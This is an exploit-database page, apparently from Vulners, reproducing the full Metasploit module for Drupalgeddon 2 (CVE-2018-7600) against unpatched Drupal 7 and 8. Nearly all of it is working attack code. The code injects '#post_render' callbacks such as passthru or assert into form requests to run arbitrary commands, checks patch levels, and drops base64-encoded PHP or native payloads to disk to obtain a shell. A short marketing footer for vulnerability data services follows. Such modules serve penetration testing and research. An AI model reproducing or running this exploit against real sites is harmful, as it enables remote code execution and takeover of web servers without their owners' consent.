Lucene search
K

Drupal Drupalgeddon 2 Forms API Property Injection Exploit

🗓️ 26 Apr 2018 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 718 Views

Drupalgeddon 2 Forms API Property Injection in Drupal 6.x, 7.58, 8.2.x, 8.3.9, 8.4.6, and 8.5.1. Metasploit module for payload execution

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  # XXX: CmdStager can't handle badchars
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Drupal Drupalgeddon 2 Forms API Property Injection',
      'Description'    => %q{
        This module exploits a Drupal property injection in the Forms API.

        Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
      },
      'Author'         => [
        'Jasper Mattsson', # Vulnerability discovery
        'a2u',             # Proof of concept (Drupal 8.x)
        'Nixawk',          # Proof of concept (Drupal 8.x)
        'FireFart',        # Proof of concept (Drupal 7.x)
        'wvu'              # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-7600'],
        ['URL', 'https://www.drupal.org/sa-core-2018-002'],
        ['URL', 'https://greysec.net/showthread.php?tid=2912'],
        ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
        ['URL', 'https://github.com/a2u/CVE-2018-7600'],
        ['URL', 'https://github.com/nixawk/labs/issues/19'],
        ['URL', 'https://github.com/FireFart/CVE-2018-7600'],
        ['AKA', 'SA-CORE-2018-002'],
        ['AKA', 'Drupalgeddon 2']
      ],
      'DisclosureDate' => 'Mar 28 2018',
      'License'        => MSF_LICENSE,
      'Platform'       => ['php', 'unix', 'linux'],
      'Arch'           => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Payload'        => {'BadChars' => '&>\''},
      # XXX: Using "x" in Gem::Version::new isn't technically appropriate
      'Targets'        => [
        #
        # Automatic targets (PHP, cmd/unix, native)
        #
        ['Automatic (PHP In-Memory)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Type'        => :php_memory
        ],
        ['Automatic (PHP Dropper)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Type'        => :php_dropper
        ],
        ['Automatic (Unix In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Type'        => :unix_memory
        ],
        ['Automatic (Linux Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :linux_dropper
        ],
        #
        # Drupal 7.x targets (PHP, cmd/unix, native)
        #
        ['Drupal 7.x (PHP In-Memory)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :php_memory
        ],
        ['Drupal 7.x (PHP Dropper)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :php_dropper
        ],
        ['Drupal 7.x (Unix In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :unix_memory
        ],
        ['Drupal 7.x (Linux Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :linux_dropper
        ],
        #
        # Drupal 8.x targets (PHP, cmd/unix, native)
        #
        ['Drupal 8.x (PHP In-Memory)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :php_memory
        ],
        ['Drupal 8.x (PHP Dropper)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :php_dropper
        ],
        ['Drupal 8.x (Unix In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :unix_memory
        ],
        ['Drupal 8.x (Linux Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 0, # Automatic (PHP In-Memory)
      'DefaultOptions' => {'WfsDelay' => 2}
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
      OptString.new('PHP_FUNC',  [true, 'PHP function to execute', 'passthru']),
      OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def check
    checkcode = CheckCode::Safe

    if drupal_version
      print_status("Drupal #{@version} targeted at #{full_uri}")
      checkcode = CheckCode::Detected
    else
      print_error('Could not determine Drupal version to target')
      return CheckCode::Unknown
    end

    if drupal_unpatched?
      print_good('Drupal appears unpatched in CHANGELOG.txt')
      checkcode = CheckCode::Appears
    end

    token = random_crap
    res   = execute_command(token, func: 'printf')

    if res && res.body.start_with?(token)
      checkcode = CheckCode::Vulnerable
    end

    checkcode
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
      # XXX: Naughty datastore modification
      datastore['DUMP_OUTPUT'] = true
    end

    # NOTE: assert() is attempted first, then PHP_FUNC if that fails
    case target['Type']
    when :php_memory
      execute_command(payload.encoded, func: 'assert')

      sleep(wfs_delay)
      return if session_created?

      # XXX: This will spawn a *very* obvious process
      execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
      execute_command(payload.encoded)
    when :php_dropper, :linux_dropper
      dropper_assert

      sleep(wfs_delay)
      return if session_created?

      dropper_exec
    end
  end

  def dropper_assert
    php_file = Pathname.new(
      "#{datastore['WritableDir']}/#{random_crap}.php"
    ).cleanpath

    # Return the PHP payload or a PHP binary dropper
    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self:   true # Worth a shot
    )

    # Encode away potential badchars with Base64
    dropper = Rex::Text.encode_base64(dropper)

    # Stage 1 decodes the PHP and writes it to disk
    stage1 = %Q{
      file_put_contents("#{php_file}", base64_decode("#{dropper}"));
    }

    # Stage 2 executes said PHP in-process
    stage2 = %Q{
      include_once("#{php_file}");
    }

    # :unlink_self may not work, so let's make sure
    register_file_for_cleanup(php_file)

    # Hopefully pop our shell with assert()
    execute_command(stage1.strip, func: 'assert')
    execute_command(stage2.strip, func: 'assert')
  end

  def dropper_exec
    php_file = "#{random_crap}.php"
    tmp_file = Pathname.new(
      "#{datastore['WritableDir']}/#{php_file}"
    ).cleanpath

    # Return the PHP payload or a PHP binary dropper
    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self:   true # Worth a shot
    )

    # Encode away potential badchars with Base64
    dropper = Rex::Text.encode_base64(dropper)

    # :unlink_self may not work, so let's make sure
    register_file_for_cleanup(php_file)

    # Write the payload or dropper to disk (!)
    # NOTE: Analysis indicates > is a badchar for 8.x
    execute_command("echo #{dropper} | base64 -d | tee #{php_file}")

    # Attempt in-process execution of our PHP script
    send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_file)
    )

    sleep(wfs_delay)
    return if session_created?

    # Try to get a shell with PHP CLI
    execute_command("php #{php_file}")

    sleep(wfs_delay)
    return if session_created?

    register_file_for_cleanup(tmp_file)

    # Fall back on our temp file
    execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
    execute_command("php #{tmp_file}")
  end

  def execute_command(cmd, opts = {})
    func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'

    vprint_status("Executing with #{func}(): #{cmd}")

    res =
      case @version.to_s
      when '7.x'
        exploit_drupal7(func, cmd)
      when '8.x'
        exploit_drupal8(func, cmd)
      end

    if res && res.code != 200
      print_error("Unexpected reply: #{res.inspect}")
      return
    end

    if res && datastore['DUMP_OUTPUT']
      print_line(res.body)
    end

    res
  end

  def drupal_version
    if target['Version']
      @version = target['Version']
      return @version
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => target_uri.path
    )

    return unless res && res.code == 200

    # Check for an X-Generator header
    @version =
      case res.headers['X-Generator']
      when /Drupal 7/
        Gem::Version.new('7.x')
      when /Drupal 8/
        Gem::Version.new('8.x')
      end

    return @version if @version

    # Check for a <meta> tag
    generator = res.get_html_document.at(
      '//meta[@name = "Generator"]/@content'
    )

    return unless generator

    @version =
      case generator.value
      when /Drupal 7/
        Gem::Version.new('7.x')
      when /Drupal 8/
        Gem::Version.new('8.x')
      end
  end

  def drupal_unpatched?
    unpatched = true

    # Check for patch level in CHANGELOG.txt
    uri =
      case @version.to_s
      when '7.x'
        normalize_uri(target_uri.path, 'CHANGELOG.txt')
      when '8.x'
        normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
      end

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    return unless res && res.code == 200

    if res.body.include?('SA-CORE-2018-002')
      unpatched = false
    end

    unpatched
  end

  def exploit_drupal7(func, code)
    vars_get = {
      'q'                    => 'user/password',
      'name[#post_render][]' => func,
      'name[#markup]'        => code,
      'name[#type]'          => 'markup'
    }

    vars_post = {
      'form_id'                  => 'user_pass',
      '_triggering_element_name' => 'name'
    }

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => target_uri.path,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )

    return res unless res && res.code == 200

    form_build_id = res.get_html_document.at(
      '//input[@name = "form_build_id"]/@value'
    )

    return res unless form_build_id

    vars_get = {
      'q' => "file/ajax/name/#value/#{form_build_id.value}"
    }

    vars_post = {
      'form_build_id' => form_build_id.value
    }

    send_request_cgi(
      'method'    => 'POST',
      'uri'       => target_uri.path,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )
  end

  def exploit_drupal8(func, code)
    # Clean URLs are enabled by default and "can't" be disabled
    uri = normalize_uri(target_uri.path, 'user/register')

    vars_get = {
      'element_parents' => 'account/mail/#value',
      'ajax_form'       => 1,
      '_wrapper_format' => 'drupal_ajax'
    }

    vars_post = {
      'form_id'              => 'user_register_form',
      '_drupal_ajax'         => 1,
      'mail[#type]'          => 'markup',
      'mail[#post_render][]' => func,
      'mail[#markup]'        => code
    }

    send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )
  end

  def random_crap
    Rex::Text.rand_text_alphanumeric(8..42)
  end

end

#  0day.today [2018-04-26]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation